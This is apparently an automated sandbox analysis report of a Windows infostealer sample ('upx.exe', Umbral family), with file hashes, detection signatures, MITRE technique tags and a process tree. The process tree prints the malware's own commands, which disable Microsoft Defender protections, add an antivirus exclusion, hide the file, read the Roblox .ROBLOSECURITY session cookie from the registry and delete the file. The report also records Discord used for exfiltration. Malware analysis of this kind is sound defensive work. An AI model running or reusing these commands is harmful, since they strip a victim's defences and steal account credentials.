Analysis
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max time kernel
15s -
max time network
16s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
20/09/2024, 10:30
Behavioral task
behavioral1
Sample
upx.exe
Resource
win7-20240903-en
General
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Target
upx.exe
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Size
231KB
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MD5
88b64c5cad0453a14347d415f9d4f82b
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SHA1
4a613e651418497885bf4861dc27fee379eee1b9
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SHA256
f7f74aeaf94b242f73f0417796f4814c1a857eaa246ebcb7a667643d90af938e
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SHA512
56775a3ce0c99998c0354a5d7485fbaf01e83f247412849abd2d81461decf0e9c4fa095d43e18be74fe7225df2b6cbbc2f98f4abf5611192ef66d83abee2d7d2
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SSDEEP
6144:bloZM+rIkd8g+EtXHkv/iD4irHJzZqStHY5rWWDIPb8e1m4i:5oZtL+EP8irHJzZqStHY5rWWD2y
Malware Config
Signatures
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Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/2072-1-0x00000000002D0000-0x0000000000310000-memory.dmp family_umbral -
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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pid Process 2892 powershell.exe 2268 powershell.exe 1768 powershell.exe 2776 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts upx.exe -
Deletes itself 1 IoCs
pid Process 2204 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 9 discord.com 10 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 6 ip-api.com -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 3020 PING.EXE 2204 cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2220 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3020 PING.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2072 upx.exe 2776 powershell.exe 2892 powershell.exe 2268 powershell.exe 2796 powershell.exe 1768 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2072 upx.exe Token: SeIncreaseQuotaPrivilege 2936 wmic.exe Token: SeSecurityPrivilege 2936 wmic.exe Token: SeTakeOwnershipPrivilege 2936 wmic.exe Token: SeLoadDriverPrivilege 2936 wmic.exe Token: SeSystemProfilePrivilege 2936 wmic.exe Token: SeSystemtimePrivilege 2936 wmic.exe Token: SeProfSingleProcessPrivilege 2936 wmic.exe Token: SeIncBasePriorityPrivilege 2936 wmic.exe Token: SeCreatePagefilePrivilege 2936 wmic.exe Token: SeBackupPrivilege 2936 wmic.exe Token: SeRestorePrivilege 2936 wmic.exe Token: SeShutdownPrivilege 2936 wmic.exe Token: SeDebugPrivilege 2936 wmic.exe Token: SeSystemEnvironmentPrivilege 2936 wmic.exe Token: SeRemoteShutdownPrivilege 2936 wmic.exe Token: SeUndockPrivilege 2936 wmic.exe Token: SeManageVolumePrivilege 2936 wmic.exe Token: 33 2936 wmic.exe Token: 34 2936 wmic.exe Token: 35 2936 wmic.exe Token: SeIncreaseQuotaPrivilege 2936 wmic.exe Token: SeSecurityPrivilege 2936 wmic.exe Token: SeTakeOwnershipPrivilege 2936 wmic.exe Token: SeLoadDriverPrivilege 2936 wmic.exe Token: SeSystemProfilePrivilege 2936 wmic.exe Token: SeSystemtimePrivilege 2936 wmic.exe Token: SeProfSingleProcessPrivilege 2936 wmic.exe Token: SeIncBasePriorityPrivilege 2936 wmic.exe Token: SeCreatePagefilePrivilege 2936 wmic.exe Token: SeBackupPrivilege 2936 wmic.exe Token: SeRestorePrivilege 2936 wmic.exe Token: SeShutdownPrivilege 2936 wmic.exe Token: SeDebugPrivilege 2936 wmic.exe Token: SeSystemEnvironmentPrivilege 2936 wmic.exe Token: SeRemoteShutdownPrivilege 2936 wmic.exe Token: SeUndockPrivilege 2936 wmic.exe Token: SeManageVolumePrivilege 2936 wmic.exe Token: 33 2936 wmic.exe Token: 34 2936 wmic.exe Token: 35 2936 wmic.exe Token: SeDebugPrivilege 2776 powershell.exe Token: SeDebugPrivilege 2892 powershell.exe Token: SeDebugPrivilege 2268 powershell.exe Token: SeDebugPrivilege 2796 powershell.exe Token: SeIncreaseQuotaPrivilege 2680 wmic.exe Token: SeSecurityPrivilege 2680 wmic.exe Token: SeTakeOwnershipPrivilege 2680 wmic.exe Token: SeLoadDriverPrivilege 2680 wmic.exe Token: SeSystemProfilePrivilege 2680 wmic.exe Token: SeSystemtimePrivilege 2680 wmic.exe Token: SeProfSingleProcessPrivilege 2680 wmic.exe Token: SeIncBasePriorityPrivilege 2680 wmic.exe Token: SeCreatePagefilePrivilege 2680 wmic.exe Token: SeBackupPrivilege 2680 wmic.exe Token: SeRestorePrivilege 2680 wmic.exe Token: SeShutdownPrivilege 2680 wmic.exe Token: SeDebugPrivilege 2680 wmic.exe Token: SeSystemEnvironmentPrivilege 2680 wmic.exe Token: SeRemoteShutdownPrivilege 2680 wmic.exe Token: SeUndockPrivilege 2680 wmic.exe Token: SeManageVolumePrivilege 2680 wmic.exe Token: 33 2680 wmic.exe Token: 34 2680 wmic.exe -
Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 2072 wrote to memory of 2936 2072 upx.exe 30 PID 2072 wrote to memory of 2936 2072 upx.exe 30 PID 2072 wrote to memory of 2936 2072 upx.exe 30 PID 2072 wrote to memory of 2920 2072 upx.exe 33 PID 2072 wrote to memory of 2920 2072 upx.exe 33 PID 2072 wrote to memory of 2920 2072 upx.exe 33 PID 2072 wrote to memory of 2776 2072 upx.exe 35 PID 2072 wrote to memory of 2776 2072 upx.exe 35 PID 2072 wrote to memory of 2776 2072 upx.exe 35 PID 2072 wrote to memory of 2892 2072 upx.exe 37 PID 2072 wrote to memory of 2892 2072 upx.exe 37 PID 2072 wrote to memory of 2892 2072 upx.exe 37 PID 2072 wrote to memory of 2268 2072 upx.exe 40 PID 2072 wrote to memory of 2268 2072 upx.exe 40 PID 2072 wrote to memory of 2268 2072 upx.exe 40 PID 2072 wrote to memory of 2796 2072 upx.exe 42 PID 2072 wrote to memory of 2796 2072 upx.exe 42 PID 2072 wrote to memory of 2796 2072 upx.exe 42 PID 2072 wrote to memory of 2680 2072 upx.exe 44 PID 2072 wrote to memory of 2680 2072 upx.exe 44 PID 2072 wrote to memory of 2680 2072 upx.exe 44 PID 2072 wrote to memory of 292 2072 upx.exe 46 PID 2072 wrote to memory of 292 2072 upx.exe 46 PID 2072 wrote to memory of 292 2072 upx.exe 46 PID 2072 wrote to memory of 1204 2072 upx.exe 48 PID 2072 wrote to memory of 1204 2072 upx.exe 48 PID 2072 wrote to memory of 1204 2072 upx.exe 48 PID 2072 wrote to memory of 1768 2072 upx.exe 50 PID 2072 wrote to memory of 1768 2072 upx.exe 50 PID 2072 wrote to memory of 1768 2072 upx.exe 50 PID 2072 wrote to memory of 2220 2072 upx.exe 52 PID 2072 wrote to memory of 2220 2072 upx.exe 52 PID 2072 wrote to memory of 2220 2072 upx.exe 52 PID 2072 wrote to memory of 2204 2072 upx.exe 54 PID 2072 wrote to memory of 2204 2072 upx.exe 54 PID 2072 wrote to memory of 2204 2072 upx.exe 54 PID 2204 wrote to memory of 3020 2204 cmd.exe 56 PID 2204 wrote to memory of 3020 2204 cmd.exe 56 PID 2204 wrote to memory of 3020 2204 cmd.exe 56 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2920 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\upx.exe"C:\Users\Admin\AppData\Local\Temp\upx.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2072 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2936
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C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\upx.exe"2⤵
- Views/modifies file attributes
PID:2920
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\upx.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2776
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2892
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2268
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2796
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2680
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:292
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:1204
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1768
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:2220
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C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\upx.exe" && pause2⤵
- Deletes itself
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2204 -
C:\Windows\system32\PING.EXEping localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3020
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Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MLKRDKP0DIALPVPKUF8M.temp
Filesize7KB
MD5f0ec9b96671503e565d874a9e426aeb1
SHA11552b0f7d13316bbe2a0f5f8de13410593968de9
SHA256400761b135aacfaebe29a7aa798aa6b78f50bb11ce26bbd9d081288f08fad264
SHA512b8fadafe032700a34f154ced2acddc178a360fb785f75cc585db31b27565ee7e86fd8817a84f5c619989dca054a1968243463c68e92739d7cbbf002f99cac312